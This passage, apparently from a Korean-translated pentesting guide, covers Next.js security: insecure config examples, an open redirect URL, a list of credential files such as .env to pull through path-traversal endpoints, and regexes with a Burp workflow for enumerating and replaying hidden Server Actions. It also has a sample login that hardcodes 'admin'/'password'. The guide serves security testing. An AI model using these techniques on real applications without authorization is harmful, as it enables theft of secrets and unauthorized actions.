key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
์ด๋ฏธ์ง€ ์ตœ์ ํ™” ์„ค์ •

Next.js๋Š” ์„ฑ๋Šฅ์„ ์œ„ํ•ด ์ด๋ฏธ์ง€๋ฅผ ์ตœ์ ํ™”ํ•˜์ง€๋งŒ, ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์†Œ์Šค๊ฐ€ ์•…์„ฑ ์ฝ˜ํ…์ธ ๋ฅผ ์ฃผ์ž…ํ•˜๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ๋“ฑ ๋ณด์•ˆ ์ทจ์•ฝ์ ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ์‹œ:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

๋ฌธ์ œ:

  • '*': ์™ธ๋ถ€์˜ ๋ชจ๋“  ์ถœ์ฒ˜์—์„œ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค(์‹ ๋ขฐํ•  ์ˆ˜ ์—†๊ฑฐ๋‚˜ ์•…์˜์ ์ธ ๋„๋ฉ”์ธ ํฌํ•จ). ๊ณต๊ฒฉ์ž๋Š” ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•œ ์ด๋ฏธ์ง€๋‚˜ ์‚ฌ์šฉ์ž๋ฅผ ์˜ค๋„ํ•˜๋Š” ์ฝ˜ํ…์ธ ๋ฅผ ํ˜ธ์ŠคํŒ…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋˜ ๋‹ค๋ฅธ ๋ฌธ์ œ๋Š” ๋ชจ๋‘๊ฐ€ ์ด๋ฏธ์ง€๋ฅผ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๋„๋ฉ”์ธ(์˜ˆ: raw.githubusercontent.com)์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๋…ธ์ถœ

ํด๋ผ์ด์–ธํŠธ์— ๋…ธ์ถœํ•˜์ง€ ์•Š๋„๋ก API keys ๋ฐ database credentials ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ๊ด€๋ฆฌํ•˜์„ธ์š”.

a. ๋ฏผ๊ฐํ•œ ๋ณ€์ˆ˜ ๋…ธ์ถœ

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ์‹œ:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

๋ฌธ์ œ:

  • SECRET_API_KEY: NEXT_PUBLIC_ ์ ‘๋‘์‚ฌ๊ฐ€ ์—†์œผ๋ฉด Next.js๋Š” ๋ณ€์ˆ˜๋ฅผ ํด๋ผ์ด์–ธํŠธ์— ๋…ธ์ถœํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์‹ค์ˆ˜๋กœ ์ ‘๋‘์‚ฌ๋ฅผ ๋ถ™์ด๋ฉด(์˜ˆ: NEXT_PUBLIC_SECRET_API_KEY) ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•:

๋ฏผ๊ฐํ•œ ๋ณ€์ˆ˜๊ฐ€ ํด๋ผ์ด์–ธํŠธ์— ๋…ธ์ถœ๋˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํด๋ผ์ด์–ธํŠธ ์ธก ์ฝ”๋“œ๋‚˜ ๋„คํŠธ์›Œํฌ ์š”์ฒญ์„ ์กฐ์‚ฌํ•ด ์ด๋ฅผ ํš๋“ํ•˜๊ณ  API, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋˜๋Š” ๊ธฐํƒ€ ์„œ๋น„์Šค์— ๋ฌด๋‹จ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Redirects

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ URL redirections ๋ฐ rewrites๋ฅผ ๊ด€๋ฆฌํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์ ์ ˆํžˆ ์ด๋™ํ•˜๋„๋ก ํ•˜๋˜ open redirect vulnerabilities๋ฅผ ์œ ๋ฐœํ•˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”.

a. Open Redirect Vulnerability

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ์‹œ:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

๋ฌธ์ œ:

  • ๋™์  ๋ชฉ์ ์ง€: ์‚ฌ์šฉ์ž๊ฐ€ ์ž„์˜์˜ URL์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ open redirect attacks๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ์ž ์ž…๋ ฅ ์‹ ๋ขฐ: ๊ฒ€์ฆ ์—†์ด ์‚ฌ์šฉ์ž๊ฐ€ ์ œ๊ณตํ•œ URL๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋ฉด phishing, malware distribution, ๋˜๋Š” credential theft๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•:

๊ณต๊ฒฉ์ž๋Š” ๋„๋ฉ”์ธ์—์„œ ์‹œ์ž‘ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ ์‚ฌ์šฉ์ž๋ฅผ ์•…์„ฑ ์‚ฌ์ดํŠธ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” URL์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด:

https://yourdomain.com/redirect?url=https://malicious-site.com

์›๋ž˜ ๋„๋ฉ”์ธ์„ ์‹ ๋ขฐํ•˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์˜๋„์น˜ ์•Š๊ฒŒ ์•…์„ฑ ์›น์‚ฌ์ดํŠธ๋กœ ์ด๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Webpack ๊ตฌ์„ฑ

Next.js ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ Webpack ๊ตฌ์„ฑ์„ ์‚ฌ์šฉ์žํ™”ํ•˜๋ฉด, ์ฃผ์˜ํ•˜์ง€ ์•Š์œผ๋ฉด ์˜๋„์น˜ ์•Š๊ฒŒ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ๋„์ž…๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

a. ๋ฏผ๊ฐํ•œ ๋ชจ๋“ˆ ๋…ธ์ถœ

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

๋ฌธ์ œ:

  • ๋…ธ์ถœ๋œ ๋ฏผ๊ฐํ•œ ๊ฒฝ๋กœ: ๋ฏผ๊ฐํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ alias ์ฒ˜๋ฆฌํ•˜๊ณ  ํด๋ผ์ด์–ธํŠธ ์ธก ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋ฉด ๊ธฐ๋ฐ€ ์ •๋ณด๊ฐ€ leak๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋น„๋ฐ€ ๋ฒˆ๋“ค๋ง: ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์ด ํด๋ผ์ด์–ธํŠธ์šฉ์œผ๋กœ ๋ฒˆ๋“ค๋ง๋˜๋ฉด, ๊ทธ ๋‚ด์šฉ์€ source maps๋ฅผ ํ†ตํ•ด ๋˜๋Š” ํด๋ผ์ด์–ธํŠธ ์ธก ์ฝ”๋“œ๋ฅผ ๊ฒ€์‚ฌํ•˜์—ฌ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•:

๊ณต๊ฒฉ์ž๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ด๋ฅผ ์žฌ๊ตฌ์„ฑํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์ด๋‚˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ฐพ์•„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

pages/_app.js and pages/_document.js

pages/_app.js

๋ชฉ์ : ๊ธฐ๋ณธ App ์ปดํฌ๋„ŒํŠธ๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œํ•˜์—ฌ ์ „์—ญ ์ƒํƒœ, ์Šคํƒ€์ผ ๋ฐ ๋ ˆ์ด์•„์›ƒ ์ปดํฌ๋„ŒํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ์ „์—ญ CSS ์ฃผ์ž….
  • ๋ ˆ์ด์•„์›ƒ ๋ž˜ํผ ์ถ”๊ฐ€.
  • ์ƒํƒœ ๊ด€๋ฆฌ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ†ตํ•ฉ.

์˜ˆ์‹œ:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

๋ชฉ์ : ๊ธฐ๋ณธ Document๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œํ•˜์—ฌ <html> ๋ฐ <body> ํƒœ๊ทธ๋ฅผ ์ปค์Šคํ„ฐ๋งˆ์ด์ง•ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • <html> ๋˜๋Š” <body> ํƒœ๊ทธ ์ˆ˜์ •.
  • ๋ฉ”ํƒ€ ํƒœ๊ทธ ๋˜๋Š” ์ปค์Šคํ…€ ์Šคํฌ๋ฆฝํŠธ ์ถ”๊ฐ€.
  • ํƒ€์‚ฌ ํฐํŠธ ํ†ตํ•ฉ.

์˜ˆ์‹œ:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

์ปค์Šคํ…€ ์„œ๋ฒ„ (์„ ํƒ ์‚ฌํ•ญ)

๋ชฉ์ : Next.js๋Š” ๋‚ด์žฅ ์„œ๋ฒ„๋ฅผ ์ œ๊ณตํ•˜์ง€๋งŒ, ๋งž์ถค ๋ผ์šฐํŒ…์ด๋‚˜ ๊ธฐ์กด ๋ฐฑ์—”๋“œ ์„œ๋น„์Šค์™€์˜ ํ†ตํ•ฉ๊ณผ ๊ฐ™์€ ๊ณ ๊ธ‰ ์‚ฌ์šฉ ์‚ฌ๋ก€๋ฅผ ์œ„ํ•ด ์ปค์Šคํ…€ ์„œ๋ฒ„๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ : ์ปค์Šคํ…€ ์„œ๋ฒ„๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฐฐํฌ ์˜ต์…˜์ด ์ œํ•œ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ Next.js์˜ ๋‚ด์žฅ ์„œ๋ฒ„์— ์ตœ์ ํ™”๋œ Vercel๊ณผ ๊ฐ™์€ ํ”Œ๋žซํผ์—์„œ๋Š” ์ œ์•ฝ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

์ถ”๊ฐ€ ์•„ํ‚คํ…์ฒ˜ ๋ฐ ๋ณด์•ˆ ๊ณ ๋ ค์‚ฌํ•ญ

ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๋ฐ ๊ตฌ์„ฑ

๋ชฉ์ : ๋ฏผ๊ฐํ•œ ์ •๋ณด์™€ ๊ตฌ์„ฑ ์„ค์ •์„ ์ฝ”๋“œ๋ฒ ์ด์Šค ์™ธ๋ถ€์—์„œ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

๋ชจ๋ฒ” ์‚ฌ๋ก€:

  • .env ํŒŒ์ผ ์‚ฌ์šฉ: API ํ‚ค ๊ฐ™์€ ๋ณ€์ˆ˜๋Š” .env.local์— ์ €์žฅํ•˜์„ธ์š” (๋ฒ„์ „ ๊ด€๋ฆฌ์—์„œ ์ œ์™ธ).
  • ๋ณ€์ˆ˜์— ์•ˆ์ „ํ•˜๊ฒŒ ์ ‘๊ทผ: process.env.VARIABLE_NAME๋ฅผ ์‚ฌ์šฉํ•ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ๋ถˆ๋Ÿฌ์˜ต๋‹ˆ๋‹ค.
  • ํด๋ผ์ด์–ธํŠธ์— ๋น„๋ฐ€์„ ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”: ๋ฏผ๊ฐํ•œ ๋ณ€์ˆ˜๋Š” ์„œ๋ฒ„ ์ธก์—์„œ๋งŒ ์‚ฌ์šฉ๋˜๋„๋ก ํ•˜์„ธ์š”.

์˜ˆ์‹œ:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Note: ์„œ๋ฒ„ ์ธก ์ „์šฉ์œผ๋กœ ๋ณ€์ˆ˜๋ฅผ ์ œํ•œํ•˜๋ ค๋ฉด env ๊ฐ์ฒด์—์„œ ์ด๋ฅผ ์ƒ๋žตํ•˜๊ฑฐ๋‚˜ ํด๋ผ์ด์–ธํŠธ ๋…ธ์ถœ์„ ์œ„ํ•ด NEXT_PUBLIC_๋กœ ์ ‘๋‘์‚ฌ๋ฅผ ๋ถ™์ด์„ธ์š”.

LFI/download ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ†ตํ•ด ๋…ธ๋ฆด ์ˆ˜ ์žˆ๋Š” ์œ ์šฉํ•œ ์„œ๋ฒ„ ์•„ํ‹ฐํŒฉํŠธ

Next.js ์•ฑ์—์„œ path traversal ๋˜๋Š” download API๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด, ์„œ๋ฒ„ ์ธก ๋น„๋ฐ€ ๋ฐ ์ธ์ฆ ๋กœ์ง์„ leakํ•˜๋Š” ์ปดํŒŒ์ผ๋œ ์•„ํ‹ฐํŒฉํŠธ๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜์„ธ์š”:

  • .env / .env.local โ€” ์„ธ์…˜ ์‹œํฌ๋ฆฟ๊ณผ ํ”„๋กœ๋ฐ”์ด๋” ์ž๊ฒฉ์ฆ๋ช….
  • .next/routes-manifest.json ๋ฐ .next/build-manifest.json โ€” ์ „์ฒด ๋ผ์šฐํŠธ ๋ชฉ๋ก ํ™•์ธ์šฉ.
  • .next/server/pages/api/auth/[...nextauth].js โ€” ์ปดํŒŒ์ผ๋œ NextAuth ์„ค์ •์„ ๋ณต๊ตฌํ•˜๊ธฐ ์œ„ํ•จ (์ข…์ข… process.env ๊ฐ’์ด ์„ค์ •๋˜์ง€ ์•Š์•˜์„ ๋•Œ ๋Œ€์ฒด ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Œ).
  • next.config.js / next.config.mjs โ€” rewrites, redirects ๋ฐ middleware ๋ผ์šฐํŒ…์„ ๊ฒ€ํ† ํ•˜๊ธฐ ์œ„ํ•ด.

์ธ์ฆ ๋ฐ ๊ถŒํ•œ ๋ถ€์—ฌ

์ ‘๊ทผ ๋ฐฉ์‹:

  • ์„ธ์…˜ ๊ธฐ๋ฐ˜ ์ธ์ฆ (Session-Based Authentication): ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ์„ธ์…˜์„ ๊ด€๋ฆฌํ•˜์„ธ์š”.
  • ํ† ํฐ ๊ธฐ๋ฐ˜ ์ธ์ฆ (Token-Based Authentication): ๋ฌด์ƒํƒœ(stateless) ์ธ์ฆ์„ ์œ„ํ•ด JWT๋ฅผ ๊ตฌํ˜„ํ•˜์„ธ์š”.
  • ํƒ€์‚ฌ ์ œ๊ณต์ž (Third-Party Providers): next-auth ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•ด OAuth ์ œ๊ณต์ž(์˜ˆ: Google, GitHub)์™€ ํ†ตํ•ฉํ•˜์„ธ์š”.

๋ณด์•ˆ ๊ด€ํ–‰:

  • Secure Cookies: HttpOnly, Secure, SameSite ์†์„ฑ์„ ์„ค์ •ํ•˜์„ธ์š”.
  • Password Hashing: ์ €์žฅํ•˜๊ธฐ ์ „์— ํ•ญ์ƒ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ•ด์‹œํ•˜์„ธ์š”.
  • Input Validation: ์ž…๋ ฅ์„ ๊ฒ€์ฆํ•˜๊ณ  ์ •์ œ(sanitize)ํ•˜์—ฌ ์ธ์ ์…˜ ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜์„ธ์š”.

์˜ˆ์‹œ:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

์„ฑ๋Šฅ ์ตœ์ ํ™”

์ „๋žต:

  • ์ด๋ฏธ์ง€ ์ตœ์ ํ™”: Next.js์˜ next/image ์ปดํฌ๋„ŒํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋ฏธ์ง€ ์ž๋™ ์ตœ์ ํ™”.
  • ์ฝ”๋“œ ๋ถ„ํ• : ๋™์  import๋ฅผ ํ™œ์šฉํ•ด ์ฝ”๋“œ๋ฅผ ๋ถ„ํ• ํ•˜๊ณ  ์ดˆ๊ธฐ ๋กœ๋“œ ์‹œ๊ฐ„์„ ์ค„์ด์„ธ์š”.
  • ์บ์‹ฑ: API ์‘๋‹ต ๋ฐ ์ •์  ์ž์‚ฐ์— ๋Œ€ํ•œ ์บ์‹ฑ ์ „๋žต์„ ๊ตฌํ˜„ํ•˜์„ธ์š”.
  • ์ง€์—ฐ ๋กœ๋”ฉ: ํ•„์š”ํ•  ๋•Œ๋งŒ ์ปดํฌ๋„ŒํŠธ๋‚˜ ์ž์‚ฐ์„ ๋กœ๋“œํ•˜์„ธ์š”.

์˜ˆ์‹œ:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

์ตœ์‹  Next.js๋Š” ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜์ง€๋งŒ ํด๋ผ์ด์–ธํŠธ์—์„œ ํ˜ธ์ถœ๋˜๋Š” โ€œServer Actionsโ€๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ”„๋กœ๋•์…˜์—์„œ๋Š” ์ด๋Ÿฌํ•œ ํ˜ธ์ถœ์ด ๋ถˆํˆฌ๋ช…ํ•ฉ๋‹ˆ๋‹ค: ๋ชจ๋“  POSTs๋Š” ๊ณตํ†ต ์—”๋“œํฌ์ธํŠธ๋กœ ๋“ค์–ด์˜ค๊ณ , Next-Action ํ—ค๋”์— ์ „์†ก๋œ ๋นŒ๋“œ๋ณ„ ํ•ด์‹œ๋กœ ๊ตฌ๋ถ„๋ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด, minified JS ์ฒญํฌ์—๋Š” createServerReference(...) ํ˜ธ์ถœ์ด ํฌํ•จ๋˜์–ด ์žˆ์–ด (์—ฐ๊ด€๋œ source maps์™€ ํ•จ๊ป˜) action hash์™€ ์›๋ž˜ ํ•จ์ˆ˜ ์ด๋ฆ„ ๊ฐ„์˜ ๋งคํ•‘์„ ๋ณต๊ตฌํ•  ๋งŒํผ์˜ ๊ตฌ์กฐ๋ฅผ leakํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด Next-Action์—์„œ ๊ด€์ฐฐํ•œ hash๋“ค์„ deleteUserAccount()๋‚˜ exportFinancialData() ๊ฐ™์€ ๊ตฌ์ฒด์  ๋Œ€์ƒ๋กœ ๋ณ€ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถ”์ถœ ๋ฐฉ๋ฒ• (regex on minified JS + optional source maps)

๋‹ค์šด๋กœ๋“œํ•œ JS ์ฒญํฌ์—์„œ createServerReference๋ฅผ ๊ฒ€์ƒ‰ํ•˜์—ฌ hash์™€ function/source symbol์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. ์œ ์šฉํ•œ ๋‘ ๊ฐ€์ง€ ํŒจํ„ด:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • ๊ทธ๋ฃน 1: ์„œ๋ฒ„ ์•ก์…˜ ํ•ด์‹œ (16์ง„์ˆ˜ 40์ž ์ด์ƒ)
  • ๊ทธ๋ฃน 2: ์‹ฌ๋ณผ ๋˜๋Š” ๊ฒฝ๋กœ(์†Œ์Šค ๋งต์ด ์žˆ์„ ๊ฒฝ์šฐ ์›๋ž˜ ํ•จ์ˆ˜๋กœ ๋ณต์› ๊ฐ€๋Šฅํ•œ)

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

์‹ค๋ฌด ์›Œํฌํ”Œ๋กœ์šฐ

  • ๋ธŒ๋ผ์šฐ์ง• ์ค‘ ์ˆ˜๋™ ๋ฐœ๊ฒฌ: Next-Action ํ—ค๋”์™€ JS chunk URLs๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์„ ์บก์ฒ˜ํ•œ๋‹ค.
  • ์ฐธ์กฐ๋œ JS ๋ฒˆ๋“ค๊ณผ ํ•จ๊ป˜ ์ œ๊ณต๋˜๋Š” *.map ํŒŒ์ผ(์žˆ์„ ๊ฒฝ์šฐ)์„ ๊ฐ€์ ธ์˜จ๋‹ค.
  • ์œ„์˜ regex๋ฅผ ์‹คํ–‰ํ•ด ํ•ด์‹œโ†”์ด๋ฆ„ ์‚ฌ์ „์„ ๊ตฌ์„ฑํ•œ๋‹ค.
  • ์‚ฌ์ „์„ ์ด์šฉํ•ด ํ…Œ์ŠคํŠธ ๋Œ€์ƒ์„ ์„ ์ •ํ•œ๋‹ค:
    • ์ด๋ฆ„ ๊ธฐ๋ฐ˜ ๋ถ„๋ฅ˜(์˜ˆ: transferFunds, exportFinancialData).
    • ํ•จ์ˆ˜๋ช… ๊ธฐ์ค€์œผ๋กœ ๋นŒ๋“œ ๊ฐ„ ์ปค๋ฒ„๋ฆฌ์ง€ ์ถ”์ (ํ•ด์‹œ๋Š” ๋นŒ๋“œ๋งˆ๋‹ค ๋ณ€๊ฒฝ๋จ).

์ˆจ๊ฒจ์ง„ ์•ก์…˜ ์‹คํ–‰(ํ…œํ”Œ๋ฆฟ ๊ธฐ๋ฐ˜ ์š”์ฒญ)

ํ”„๋ก์‹œ์—์„œ ๊ด€์ฐฐ๋œ ์œ ํšจํ•œ POST๋ฅผ ํ…œํ”Œ๋ฆฟ์œผ๋กœ ์‚ฌ์šฉํ•ด Next-Action ๊ฐ’์„ ๋‹ค๋ฅธ ๋ฐœ๊ฒฌ๋œ ์•ก์…˜์œผ๋กœ ๊ต์ฒดํ•œ๋‹ค:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeater์—์„œ ์žฌ์‹คํ–‰ํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋Š” ์•ก์…˜๋“ค์˜ ๊ถŒํ•œ ๊ฒ€์‚ฌ, ์ž…๋ ฅ ๊ฒ€์ฆ ๋ฐ ๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง์„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

Burp ์ž๋™ํ™”

  • NextjsServerActionAnalyzer (Burp extension)๋Š” Burp์—์„œ ์œ„ ๊ณผ์ •์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค:
  • ํ”„๋ก์‹œ ํžˆ์Šคํ† ๋ฆฌ์—์„œ JS ์ฒญํฌ๋ฅผ ํƒ์ƒ‰ํ•˜๊ณ , createServerReference(...) ํ•ญ๋ชฉ์„ ์ถ”์ถœํ•˜๋ฉฐ, ๊ฐ€๋Šฅํ•˜๋ฉด ์†Œ์Šค ๋งต์„ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒ€์ƒ‰ ๊ฐ€๋Šฅํ•œ hashโ†”function-name ์‚ฌ์ „์„ ์œ ์ง€ํ•˜๊ณ  ํ•จ์ˆ˜ ์ด๋ฆ„์œผ๋กœ ๋นŒ๋“œ ๊ฐ„ ์ค‘๋ณต์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
  • ์œ ํšจํ•œ ํ…œํ”Œ๋ฆฟ POST๋ฅผ ์ฐพ์•„ ๋Œ€์ƒ ์•ก์…˜์˜ hash๋กœ ๊ต์ฒดํ•œ ์ƒํƒœ๋กœ ์ „์†ก ์ค€๋น„๋œ Repeater ํƒญ์„ ์—ฝ๋‹ˆ๋‹ค.
  • ๋ฆฌํฌ์ง€ํ† ๋ฆฌ: https://github.com/Adversis/NextjsServerActionAnalyzer

์ฐธ๊ณ  ๋ฐ ์ œํ•œ์‚ฌํ•ญ

  • ๋ฒˆ๋“ค/์†Œ์Šค ๋งต์—์„œ ์ด๋ฆ„์„ ๋ณต๊ตฌํ•˜๋ ค๋ฉด ํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ์—์„œ productionBrowserSourceMaps๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • Function-name ๊ณต๊ฐœ ์ž์ฒด๋Š” ์ทจ์•ฝ์ ์ด ์•„๋‹™๋‹ˆ๋‹ค; ์ด๋ฅผ ์ด์šฉํ•ด ํƒ์ƒ‰์„ ์•ˆ๋‚ดํ•˜๊ณ  ๊ฐ ์•ก์…˜์˜ ๊ถŒํ•œ์„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

React Server Components Flight ํ”„๋กœํ† ์ฝœ ์—ญ์ง๋ ฌํ™” RCE (CVE-2025-55182)

